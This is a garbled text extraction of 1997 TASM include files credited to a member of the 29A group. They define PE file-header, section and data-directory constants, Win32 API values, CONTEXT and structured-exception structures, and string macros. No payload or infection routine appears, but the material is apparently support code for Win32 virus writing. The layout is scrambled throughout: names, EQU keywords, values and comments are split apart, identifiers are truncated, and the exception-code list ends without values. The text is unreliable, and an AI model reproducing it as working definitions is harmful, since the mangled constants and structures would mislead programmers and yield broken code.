; ÄÄ´ SH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;MAGE_SCN_TYPE_REG ;MAGE_SCN_TYPE_REGULAR ;MAGE_SCN_TYPE_DSECT ;MAGE_SCN_TYPE_DUMMY ;MAGE_SCN_TYPE_NOLOAD ;MAGE_SCN_TYPE_NO_LOAD ;MAGE_SCN_TYPE_GROUP ;MAGE_SCN_TYPE_GROUPED IMAGE_SCN_TYPE_NO_PAD ;MAGE_SCN_TYPE_COPY IMAGE_SCN_CNT_CODE IMAGE_SCN_CNT_INITIALIZED_DATA IMAGE_SCN_CNT_UNINITIALIZED_DATA IMAGE_SCN_LNK_OTHER IMAGE_SCN_LNK_INFO type of information. ;MAGE_SCN_TYPE_OVER ;MAGE_SCN_LNK_OVERLAY IMAGE_SCN_LNK_REMOVE image. IMAGE_SCN_LNK_COMDAT ; ;MAGE_SCN_MEM_PROTECTED IMAGE_SCN_MEM_FARDATA ;MAGE_SCN_MEM_SYSHEAP IMAGE_SCN_MEM_PURGEABLE IMAGE_SCN_MEM_16BIT IMAGE_SCN_MEM_LOCKED IMAGE_SCN_MEM_PRELOAD IMAGE_SCN_ALIGN_1BYTES IMAGE_SCN_ALIGN_2BYTES IMAGE_SCN_ALIGN_4BYTES IMAGE_SCN_ALIGN_8BYTES IMAGE_SCN_ALIGN_16BYTES specified. IMAGE_SCN_ALIGN_32BYTES IMAGE_SCN_ALIGN_64BYTES ; IMAGE_SCN_LNK_NRELOC_OVFL IMAGE_SCN_MEM_DISCARDABLE IMAGE_SCN_MEM_NOT_CACHED IMAGE_SCN_MEM_NOT_PAGED IMAGE_SCN_MEM_SHARED IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ IMAGE_SCN_MEM_WRITE

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

00000000h 00000000h 00000001h 00000001h 00000002h 00000002h 00000004h 00000004h 00000008h 00000010h 00000020h 00000040h 00000080h 00000100h 00000200h

; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Reserved Reserved Reserved Reserved Reserved Reserved Reserved. Used for 16-bit offset code Reserved. Used for 16-bit offset code Reserved Reserved Section contains code. Section contains initialized data. Section contains uninitialized data. Reserved. Section contains comments or some other

EQU EQU EQU

00000400h ; Reserved. Section contains an overlay. 00000400h ; Reserved. Section contains an overlay. 00000800h ; Section contents will not become part of

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

00001000h 00002000h 00004000h 00008000h 00010000h 00020000h 00020000h 00040000h 00080000h 00100000h 00200000h 00300000h 00400000h 00500000h

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

00600000h 00700000h 00800000h 01000000h 02000000h 04000000h 08000000h 10000000h 20000000h 40000000h 80000000h

; Section contents comdat. ; Reserved. ; Obsolete. ; Obsolete.

; Default alignment if no others are

; ; ; ; ; ; ; ; ;

Unused. Section Section Section Section Section Section Section Section

contains extended relocations. can be discarded. is not cachable. is not pageable. is shareable. is executable. is readable. is writeable.

IMAGE_SIZEOF_SHORT_NAME

EQU

8

; ÄÄ´ Section header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_SECTION_HEADER SH_Name

SH_VirtualAddress SH_SizeOfRawData SH_PointerToRawData SH_PointerToRelocations SH_PointerToLinenumbers SH_NumberOfRelocations SH_NumberOfLinenumbers SH_Characteristics IMAGE_SECTION_HEADER

STRUC DB UNION DD DD ENDS DD DD DD DD DD DW DW DD ENDS

IMAGE_SIZEOF_SECTION_HEADER

EQU

SH_PhysicalAddress SH_VirtualSize

IMAGE_SIZEOF_SHORT_NAME DUP (?) BYTE PTR ? ? BYTE ? BYTE BYTE BYTE ? ? ?

PTR ? PTR ? PTR ? PTR ?

SIZE IMAGE_SECTION_HEADER

; ÄÄ´ OH_DataDirectory index valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DIRECTORY_ENTRY_EXPORT IMAGE_DIRECTORY_ENTRY_IMPORT IMAGE_DIRECTORY_ENTRY_RESOURCE IMAGE_DIRECTORY_ENTRY_EXCEPTION IMAGE_DIRECTORY_ENTRY_SECURITY IMAGE_DIRECTORY_ENTRY_BASERELOC IMAGE_DIRECTORY_ENTRY_DEBUG IMAGE_DIRECTORY_ENTRY_COPYRIGHT IMAGE_DIRECTORY_ENTRY_GLOBALPTR IMAGE_DIRECTORY_ENTRY_TLS IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT IMAGE_DIRECTORY_ENTRY_IAT

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

0 1 2 3 4 5 6 7 8 9 10 11 12

IMAGE_NUMBEROF_DIRECTORY_ENTRIES

EQU

16

; ; ; ; ; ; ; ; ; ; ; ; ;

Export Directory Import Directory Resource Directory Exception Directory Security Directory Base Relocation Table Debug Directory Description String Machine Value (MIPS GP) TLS Directory Load Configuration Directory Bound Import Directory in headers Import Address Table

; ÄÄ´ OH_DataDirectory format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DATA_DIRECTORY DD_VirtualAddress DD_Size IMAGE_DATA_DIRECTORY

STRUC DD BYTE PTR ? DD ? ENDS

IMAGE_DIRECTORY_ENTRIES DE_Export DE_Import DE_Resource DE_Exception DE_Security DE_BaseReloc DE_Debug DE_Copyright DE_GlobalPtr DE_TLS DE_LoadConfig DE_BoundImport DE_IAT IMAGE_DIRECTORY_ENTRIES

STRUC IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY IMAGE_DATA_DIRECTORY ENDS

? ? ? ? ? ? ? ? ? ? ? ? ?

; ÄÄ´ OH_LoaderFlags valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;MAGE_LOADER_FLAGS_BREAK_ON_LOAD ;MAGE_LOADER_FLAGS_DEBUG_ON_LOAD

EQU EQU

00000001h 00000002h

; ÄÄ´ OH_DllCharacteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;MAGE_LIBRARY_PROCESS_INIT ;MAGE_LIBRARY_PROCESS_TERM ;MAGE_LIBRARY_THREAD_INIT ;MAGE_LIBRARY_THREAD_TERM

EQU EQU EQU EQU

1 2 4 8

; ; ; ;

Dll Dll Dll Dll

has has has has

a a a a

process initialization routine thread termination routine thread initialization routine thread termination routine

; ÄÄ´ OH_Subsystem Valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_SUBSYSTEM_UNKNOWN IMAGE_SUBSYSTEM_NATIVE IMAGE_SUBSYSTEM_WINDOWS_GUI IMAGE_SUBSYSTEM_WINDOWS_CUI IMAGE_SUBSYSTEM_OS2_CUI IMAGE_SUBSYSTEM_POSIX_CUI

EQU EQU EQU EQU EQU EQU

0 1 2 3 5 7

; ; ; ; ; ;

Unknown subsystem Image doesn't require a subsystem Image runs in the Windows GUI subsystem Image runs in the Windows character subsystem Image runs in the OS/2 character subsystem Image run in the Posix character subsystem

; ÄÄ´ OH_Magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_NT_OPTIONAL_HDR_MAGIC

EQU

10Bh

; ÄÄ´ Optional header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_OPTIONAL_HEADER ; Standard fields: OH_Magic OH_MajorLinkerVersion OH_MinorLinkerVersion OH_SizeOfCode OH_SizeOfInitializedData OH_SizeOfUninitializedData OH_AddressOfEntryPoint OH_BaseOfCode OH_BaseOfData ; NT additional fields: OH_ImageBase OH_SectionAlignment OH_FileAlignment OH_MajorOperatingSystemVersion OH_MinorOperatingSystemVersion OH_MajorImageVersion OH_MinorImageVersion OH_MajorSubsystemVersion OH_MinorSubsystemVersion OH_Reserved1 OH_SizeOfImage OH_SizeOfHeaders OH_CheckSum OH_Subsystem OH_DllCharacteristics OH_SizeOfStackReserve OH_SizeOfStackCommit OH_SizeOfHeapReserve OH_SizeOfHeapCommit OH_LoaderFlags OH_NumberOfRvaAndSizes OH_DataDirectory

STRUC DW DB DB DD DD DD DD DD DD

? ? ? ? ? ? BYTE PTR ? BYTE PTR ? BYTE PTR ?

DD BYTE PTR ? DD ? DD ? DW ? DW ? DW ? DW ? DW ? DW ? DD ? DD ? DD ? DD ? DW ? DW ? DD ? DD ? DD ? DD ? DD ? DD ? UNION IMAGE_DATA_DIRECTORY

\

IMAGE_OPTIONAL_HEADER

IMAGE_NUMBEROF_DIRECTORY_ENTRIES \ DUP (?) IMAGE_DIRECTORY_ENTRIES ? ENDS ENDS

IMAGE_SIZEOF_STD_OPTIONAL_HEADER IMAGE_SIZEOF_NT_OPTIONAL_HEADER

EQU EQU

OH_DirectoryEntries

28d SIZE IMAGE_OPTIONAL_HEADER

; ÄÄ´ FH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_FILE_RELOCS_STRIPPED IMAGE_FILE_EXECUTABLE_IMAGE references) IMAGE_FILE_LINE_NUMS_STRIPPED IMAGE_FILE_LOCAL_SYMS_STRIPPED ;MAGE_FILE_MINIMAL_OBJECT ;MAGE_FILE_UPDATE_OBJECT ;MAGE_FILE_16BIT_MACHINE IMAGE_FILE_BYTES_REVERSED_LO IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_DEBUG_STRIPPED ;MAGE_FILE_PATCH IMAGE_FILE_SYSTEM IMAGE_FILE_DLL IMAGE_FILE_BYTES_REVERSED_HI

EQU 0001h ; Relocation info stripped from file EQU 0002h ; File is executable (i.e. no unresolved external EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

0004h 0008h 0010h 0020h 0040h 0080h 0100h 0200h 0400h 1000h 2000h 8000h

; ; ; ; ; ; ; ; ; ; ; ;

Line numbers stripped from file Local symbols stripped from file Reserved Reserved 16 bit word machine Bytes of machine word are reversed 32 bit word machine Debugging info stripped from file in .DBG file Reserved System File File is a DLL Bytes of machine word are reversed

; ÄÄ´ FH_Machine valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_FILE_MACHINE_UNKNOWN IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_R3000 IMAGE_FILE_MACHINE_R4000 IMAGE_FILE_MACHINE_R10000 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_POWERPC

EQU EQU EQU EQU EQU EQU EQU

0 14Ch 162h 166h 168h 184h 1F0h

IMAGE_FILE_HEADER FH_Machine FH_NumberOfSections FH_TimeDateStamp FH_PointerToSymbolTable FH_NumberOfSymbols FH_SizeOfOptionalHeader FH_Characteristics IMAGE_FILE_HEADER

STRUC DW DW DD DD DD DW DW ENDS

? ? ? BYTE PTR ? ? ? ?

IMAGE_SIZEOF_FILE_HEADER

EQU

SIZE IMAGE_FILE_HEADER

; ; ; ; ; ;

Intel 386 MIPS L-endian, 0160h B-endian MIPS L-endian MIPS L-endian Alpha_AXP IBM PowerPC L-Endian

; ÄÄ´ NT_Signature value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_NT_SIGNATURE

EQU

00004550h

; 'PE',0,0

IMAGE_NT_HEADERS NT_Signature NT_FileHeader NT_OptionalHeader IMAGE_NT_HEADERS

STRUC DD IMAGE_FILE_HEADER IMAGE_OPTIONAL_HEADER ENDS

? ? ?

; - -[USEFUL.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; . .: .:.. :.. .. .:.::. :. ..: ; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

.:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] Basic useful structurez by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains all basic constantz and general common structurez needed to work with other include and source ASM filez. This file will work only with TASM(32), of course. MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

LF CR CRLF

equ equ equ

lo_hi_byte_word union struc lob hib ends lo_w dw ends hiw lo_hi_byte_word

10 13 <13,10> struc

db db ? dw ends

Pusha_struc Pusha_di Pusha_si Pusha_bp Pusha_sp Pusha_bx Pusha_dx Pusha_cx Pusha_ax Pusha_struc cPusha

? ?

?

struc dw dw dw dw dw dw dw dw ends equ

Pushad_struc Pushad_edi Pushad_esi Pushad_ebp Pushad_esp Pushad_ebx Pushad_edx Pushad_ecx Pushad_eax Pushad_struc

? ? ? ? ? ? ? ?

size Pusha_struc struc dd dd dd dd dd dd dd dd ends

? ? ? ? ? ? ? ?

cPushad

equ

macro local nxtchr: lodsb stosb or jnz

size Pushad_struc

@copysz

nxtchr

al,al nxtchr

endm @endsz

macro local nxtchr: lodsb test jnz

nxtchr al,al nxtchr

endm @pushsz

macro local ifnb %out .err endif call db

msg2psh, empty next_instr <empty> too much arguments in macro '@pushsz'

macro local ifnb %out .err endif call db

bts2psh, empty next_instr <empty> too much arguments in macro '@push_bytes'

next_instr msg2psh,0

next_instr: endm @pushbytes

next_instr bts2psh

next_instr: endm if @WordSize eq 2

; 16 bits

API_Args

struc RetAddr dw ? union Pshd dw ? ;pushed Arg1 dw ? ends irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16> Arg&Num dw ? endm API_Args ends endif if @WordSize eq 4 API_Args

struc RetAddr dd union Pshd dd Arg1 dd ends

; 32 bits

? ? ?

;pushed

irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16> Arg&Num dd ? endm API_Args ends endif ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

- -[WIN32API.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] Win32 API definitionz by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains some of the constantz and structurez needed to work with typical Win32 API functionz from inside ASM filez. This file can work only with TASM(32), of course. MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ Some global constantz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ NULL FALSE TRUE MAX_PATH INVALID_HANDLE_VALUE STANDARD_RIGHTS_REQUIRED

EQU EQU EQU EQU EQU EQU

0 0 1 260 -1 000F0000h

; ÄÄ´ Desired access valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GENERIC_READ GENERIC_WRITE

EQU EQU

80000000h 40000000h

; ÄÄ´ Share mode valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FILE_SHARE_READ FILE_SHARE_WRITE

EQU EQU

00000001h 00000002h

; ÄÄ´ Creation disposition valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CREATE_NEW CREATE_ALWAYS OPEN_EXISTING OPEN_ALWAYS TRUNCATE_EXISTING

EQU EQU EQU EQU EQU

1 2 3 4 5

; ÄÄ´ File attributez and flag valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_DIRECTORY FILE_ATTRIBUTE_ARCHIVE FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_TEMPORARY FILE_ATTRIBUTE_ATOMIC_WRITE FILE_ATTRIBUTE_XACTION_WRITE FILE_ATTRIBUTE_COMPRESSED FILE_ATTRIBUTE_HAS_EMBEDDING

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

00000001h 00000002h 00000004h 00000010h 00000020h 00000080h 00000100h 00000200h 00000400h 00000800h 00001000h

FILE_FLAG_POSIX_SEMANTICS FILE_FLAG_BACKUP_SEMANTICS FILE_FLAG_DELETE_ON_CLOSE FILE_FLAG_SEQUENTIAL_SCAN FILE_FLAG_RANDOM_ACCESS FILE_FLAG_NO_BUFFERING FILE_FLAG_OVERLAPPED FILE_FLAG_WRITE_THROUGH

EQU EQU EQU EQU EQU EQU EQU EQU

01000000h 02000000h 04000000h 08000000h 10000000h 20000000h 40000000h 80000000h

; ÄÄ´ Protection and other valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_MAP_EXECUTE SECTION_EXTEND_SIZE

EQU EQU EQU EQU EQU

00000001h 00000002h 00000004h 00000008h 00000010h

SECTION_ALL_ACCESS

EQU

STANDARD_RIGHTS_REQUIRED SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_MAP_EXECUTE SECTION_EXTEND_SIZE

FILE_MAP_COPY FILE_MAP_WRITE FILE_MAP_READ FILE_MAP_ALL_ACCESS

EQU EQU EQU EQU

SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_ALL_ACCESS

PAGE_NOACCESS PAGE_READONLY PAGE_READWRITE PAGE_WRITECOPY PAGE_EXECUTE PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE PAGE_EXECUTE_WRITECOPY PAGE_GUARD PAGE_NOCACHE MEM_COMMIT MEM_RESERVE MEM_DECOMMIT MEM_RELEASE MEM_FREE MEM_PRIVATE MEM_MAPPED MEM_TOP_DOWN SEC_FILE SEC_IMAGE

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000040h 00000080h 00000100h 00000200h 00001000h 00002000h 00004000h 00008000h 00010000h 00020000h 00040000h 00100000h 00800000h 01000000h

OR OR OR OR OR

\ \ \ \ \

SEC_RESERVE SEC_COMMIT SEC_NOCACHE MEM_IMAGE

EQU EQU EQU EQU

04000000h 08000000h 10000000h SEC_IMAGE

; ÄÄ´ Code Page valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CP_ACP CP_OEMCP CP_MACCP

EQU EQU EQU

0 1 2

; ANSI code page ; OEM code page ; MAC code page

; ÄÄ´ Message Box suport valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MB_OK MB_OKCANCEL MB_ABORTRETRYIGNORE MB_YESNOCANCEL MB_YESNO MB_RETRYCANCEL MB_TYPEMASK

EQU EQU EQU EQU EQU EQU EQU

00000000h 00000001h 00000002h 00000003h 00000004h 00000005h 0000000Fh

MB_ICONHAND MB_ICONQUESTION MB_ICONEXCLAMATION MB_ICONASTERISK MB_ICONMASK

EQU EQU EQU EQU EQU

00000010h 00000020h 00000030h 00000040h 000000F0h

MB_ICONINFORMATION MB_ICONSTOP

EQU EQU

MB_ICONASTERISK MB_ICONHAND

MB_DEFBUTTON1 MB_DEFBUTTON2 MB_DEFBUTTON3 MB_DEFMASK

EQU EQU EQU EQU

00000000h 00000100h 00000200h 00000F00h

MB_APPLMODAL MB_SYSTEMMODAL MB_TASKMODAL

EQU EQU EQU

00000000h 00001000h 00002000h

MB_NOFOCUS

EQU

00008000h

; ÄÄ´ Some general Win32 related structurez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FILETIME FT_dwLowDateTime FT_dwHighDateTime FILETIME WIN32_FIND_DATA WFD_dwFileAttributes WFD_ftCreationTime WFD_ftLastAccessTime WFD_ftLastWriteTime WFD_nFileSizeHigh WFD_nFileSizeLow WFD_dwReserved0 WFD_dwReserved1 WFD_szFileName WFD_szAlternateFileName WIN32_FIND_DATA SIZEOF_WIN32_FIND_DATA

EQU

STRUC DD ? DD ? ENDS STRUC DD ? FILETIME ? FILETIME ? FILETIME ? DD ? DD ? DD ? DD ? DB MAX_PATH DUP (?) DB 13 DUP (?) DB 3 DUP (?) ; dword padding ENDS SIZE WIN32_FIND_DATA

; ÄÄ´ Context related stuff (i386, i486) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; The following flagz control the contentz of the CONTEXT structure: CONTEXT_i386 CONTEXT_i486

EQU EQU

00010000h 00010000h

; This assumes that i386 and i486 ; have identical context recordz.

CONTEXT_CONTROL CONTEXT_INTEGER CONTEXT_SEGMENTS CONTEXT_FLOATING_POINT CONTEXT_DEBUG_REGISTERS

EQU EQU EQU EQU EQU

(CONTEXT_i386 (CONTEXT_i386 (CONTEXT_i386 (CONTEXT_i386 (CONTEXT_i386

OR OR OR OR OR

01h) 02h) 04h) 08h) 10h)

; ; ; ; ;

SS:SP, CS:IP, FLAGS, BP. AX, BX, CX, DX, SI, DI. DS, ES, FS, GS. 387 state DB 0-3,6,7

CONTEXT_FULL

EQU (CONTEXT_CONTROL OR CONTEXT_INTEGER OR \ CONTEXT_SEGMENTS)

; Size of the 80387 save area, which is in the context frame: SIZE_OF_80387_REGISTERS

EQU

80

FLOATING_SAVE_AREA ControlWord StatusWord TagWord ErrorOffset ErrorSelector DataOffset DataSelector RegisterArea Cr0NpxState FLOATING_SAVE_AREA

STRUC DD DD DD DD DD DD DD DB DD ENDS

? ? ? ? ? ? ? SIZE_OF_80387_REGISTERS DUP (?) ?

; Context Frame: CONTEXT ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

STRUC

The flags valuez - within the ContextFlags field - control the contentz of the CONTEXT structure. If the context record is used as an input parameter, then for each portion of the context record controlled by a flag whose value is set, it is asumed that that portion of the context record contains valid context. If the context record is being used to modify a threadz context, then only that portion of the threadz context will be modified. If the context record is used as an IN OUT parameter to capture the context of a thread, then only those portionz of the thread's context corresponding to set flags will be returned. The context record is never used as an OUT only parameter. CONTEXT_ContextFlags

DD

?

; This section is specified/returned if CONTEXT_DEBUG_REGISTERS is ; set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT ; included in CONTEXT_FULL: CONTEXT_Dr0 CONTEXT_Dr1 CONTEXT_Dr2 CONTEXT_Dr3

DD DD DD DD

? ? ? ?

CONTEXT_Dr6 CONTEXT_Dr7

DD DD

? ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_FLOATING_POINT: CONTEXT_FloatSave

FLOATING_SAVE_AREA

?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_SEGMENTS: CONTEXT_SegGs CONTEXT_SegFs CONTEXT_SegEs CONTEXT_SegDs

DD DD DD DD

? ? ? ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_INTEGER: CONTEXT_Edi CONTEXT_Esi CONTEXT_Ebx CONTEXT_Edx CONTEXT_Ecx CONTEXT_Eax

DD DD DD DD DD DD

? ? ? ? ? ?

; This section is specified/returned if the ; ContextFlags word contains the flag CONTEXT_CONTROL: CONTEXT_Ebp CONTEXT_Eip CONTEXT_SegCs CONTEXT_EFlags CONTEXT_Esp CONTEXT_SegSs CONTEXT

DD DD DD DD DD DD

? ? ? ? ? ?

; MUST BE SANITIZED ; MUST BE SANITIZED

ENDS

; ÄÄ´ Structured Exception Handling (SEH) related stuff ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This structure is the one pointed to by FS:[0]: EXCEPTIONREGISTRATIONRECORD STRUC ; != EXCEPTION_RECORD structure ERR_prev_structure DD EXCEPTIONREGISTRATIONRECORD PTR ? ERR_ExceptionHandler DD BYTE PTR ? ; CODE PTR ; These are the minimun fieldz required for proper OS operation ; Other undocumented fieldz exist for Microsoft and Borland compilerz EXCEPTIONREGISTRATIONRECORD ENDS ; Exception record definition: EXCEPTION_MAXIMUM_PARAMETERS

EQU

15

; max # of except paramz

EXCEPTION_RECORD ER_ExceptionCode ER_ExceptionFlags ER_ExceptionRecord ER_ExceptionAddress ER_NumberParameters ER_ExceptionInformation EXCEPTION_RECORD

STRUC DD DD DD DD DD DD ENDS

? ? EXCEPTION_RECORD PTR ? BYTE PTR ? ; CODE PTR ? EXCEPTION_MAXIMUM_PARAMETERS DUP (?)

EXCEPTION_POINTERS

STRUC

EP_ExceptionRecord EP_ContextRecord EXCEPTION_POINTERS

DD DD ENDS

EXCEPTION_RECORD PTR ? CONTEXT PTR ?

; Other SEH related constantz and return valuez: EXCEPTION_EXECUTE_HANDLER EXCEPTION_CONTINUE_SEARCH EXCEPTION_CONTINUE_EXECUTION

EQU EQU EQU

EXCEPTION_ACCESS_VIOLATION EXCEPTION_DATATYPE_MISALIGNMENT EXCEPTION_BREAKPOINT EXCEPTION_SINGLE_STEP EXCEPTION_ARRAY_BOUNDS_EXCEEDED EXCEPTION_FLT_DENORMAL_OPERAND EXCEPTION_FLT_DIVIDE_BY_ZERO EXCEPTION_FLT_INEXACT_RESULT EXCEPTION_FLT_INVALID_OPERATION EXCEPTION_FLT_OVERFLOW EXCEPTION_FLT_STACK_CHECK EXCEPTION_FLT_UNDERFLOW EXCEPTION_INT_DIVIDE_BY_ZERO EXCEPTION_INT_OVERFLOW EXCEPTION_PRIV_INSTRUCTION EXCEPTION_IN_PAGE_ERROR EXCEPTION_ILLEGAL_INSTRUCTION EXCEPTION_NONCONTINUABLE_EXCEPTION EXCEPTION_STACK_OVERFLOW EXCEPTION_INVALID_DISPOSITION EXCEPTION_GUARD_PAGE

1 0 -1 EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

